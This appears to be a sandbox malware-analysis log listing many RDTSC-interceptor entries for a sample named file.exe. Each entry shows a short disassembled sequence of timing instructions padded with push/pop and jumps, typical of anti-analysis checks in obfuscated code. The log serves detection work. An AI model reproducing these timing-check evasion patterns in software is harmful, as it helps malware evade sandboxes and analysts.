Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039625 second address: 102173A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4B2071E94Dh 0x0000000b popad 0x0000000c nop 0x0000000d mov edx, eax 0x0000000f call dword ptr [ebp+122D1F68h] 0x00000015 jo 00007F4B2071E94Eh 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070EB5 second address: 1070EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B20D90ACEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070EC7 second address: 1070ECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071612 second address: 107162A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B20D90AD4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071768 second address: 1071772 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4B2071E959h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071772 second address: 107179A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B20D90ACDh 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F4B20D90AD2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEC28 second address: FEEC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B2071E94Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEC3D second address: FEEC41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEC41 second address: FEEC4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEC4C second address: FEEC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076F6A second address: 1076F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076F6E second address: 1076F72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076F72 second address: 1076F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4B2071E946h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076F7E second address: 1076F85 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0777 second address: FF077B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D92B second address: 107D93C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F4B20D90AC6h 0x00000009 jng 00007F4B20D90AC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D93C second address: 107D95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4B2071E953h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C3DB second address: 107C3F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B20D90AD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C3F7 second address: 107C401 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4B2071E946h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C401 second address: 107C411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F4B20D90AC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C411 second address: 107C439 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F4B2071E94Bh 0x0000000e popad 0x0000000f jng 00007F4B2071E948h 0x00000015 popad 0x00000016 jne 00007F4B2071E968h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C439 second address: 107C43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CB61 second address: 107CB75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E94Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CB75 second address: 107CB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CB7B second address: 107CB85 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4B2071E946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CB85 second address: 107CB98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B20D90ACFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CB98 second address: 107CB9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CD3E second address: 107CD44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CD44 second address: 107CD48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CD48 second address: 107CD4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CD4C second address: 107CD6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F4B2071E959h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CD6F second address: 107CD79 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4B20D90AC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CECC second address: 107CEDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4B2071E946h 0x0000000a jbe 00007F4B2071E946h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083A41 second address: 1083A45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083A45 second address: 1083A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F4B2071E946h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F4B2071E954h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4B2071E94Eh 0x0000001e jnp 00007F4B2071E946h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083A81 second address: 1083A9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4B20D90AD0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083BF5 second address: 1083BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083BFD second address: 1083C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083D97 second address: 1083D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083D9C second address: 1083DB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B20D90AD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10861DF second address: 10861EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4B2071E94Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108ED2A second address: 108ED56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F4B20D90AD6h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F4B20D90ACCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108ED56 second address: 108ED5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108ED5A second address: 108ED6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4B20D90ACAh 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E6D4 second address: 108E6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E6D8 second address: 108E6DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10934CD second address: 10934D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10934D1 second address: 10934D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10934D5 second address: 10934EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4B2071E953h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10934EE second address: 109350E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4B20D90AD8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093784 second address: 1093788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093788 second address: 109378C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109378C second address: 10937AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B2071E958h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10937AA second address: 10937D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F4B20D90AC6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e jnl 00007F4B20D90ACEh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jc 00007F4B20D90AC6h 0x0000001f jp 00007F4B20D90AC6h 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10937D8 second address: 10937EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4B2071E950h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039033 second address: 1039037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039037 second address: 103903B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093C09 second address: 1093C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B20D90AD1h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CBEE second address: 109CBF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109AC6F second address: 109AC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109AC73 second address: 109AC8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4B2071E94Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 jp 00007F4B2071E946h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109AC8F second address: 109AC99 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4B20D90AC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109ADEA second address: 109ADF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109ADF0 second address: 109ADF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109ADF9 second address: 109ADFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109ADFF second address: 109AE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109B21A second address: 109B220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109B220 second address: 109B226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109B4E4 second address: 109B4E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109B4E8 second address: 109B4FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4B20D90ACEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109B7D6 second address: 109B7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109B7DA second address: 109B7DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109BAE1 second address: 109BAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109BD8C second address: 109BD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109BD92 second address: 109BD9C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4B2071E946h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C082 second address: 109C089 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C089 second address: 109C0AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 js 00007F4B2071E946h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 je 00007F4B2071E946h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d jno 00007F4B2071E948h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C0AE second address: 109C0BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jns 00007F4B20D90AC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C617 second address: 109C61C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A157E second address: 10A1584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4572 second address: 10A4576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4576 second address: 10A457A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4B2B second address: 10A4B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4B2071E946h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4B38 second address: 10A4B50 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007F4B20D90AC6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 js 00007F4B20D90AC6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4F8A second address: 10A4F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4F90 second address: 10A4F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4F96 second address: 10A4F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ADCB3 second address: 10ADCDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F4B20D90AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jng 00007F4B20D90AC6h 0x00000013 jmp 00007F4B20D90AD4h 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ADCDB second address: 10ADCEB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4B2071E948h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABE03 second address: 10ABE17 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4B20D90AC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F4B20D90AC8h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABE17 second address: 10ABE1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC6A7 second address: 10AC6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4B20D90ACCh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC95C second address: 10AC962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC962 second address: 10AC966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC966 second address: 10AC96A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACC0F second address: 10ACC15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACC15 second address: 10ACC27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B2071E94Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACC27 second address: 10ACC2D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B106A second address: 10B106E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B106E second address: 10B1077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0EC2 second address: 10B0ECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5934 second address: 10B5938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5938 second address: 10B593C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B593C second address: 10B595F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B20D90AD1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F4B20D90AC8h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B595F second address: 10B5963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5963 second address: 10B5973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F4B20D90AC6h 0x00000010 rdtsc
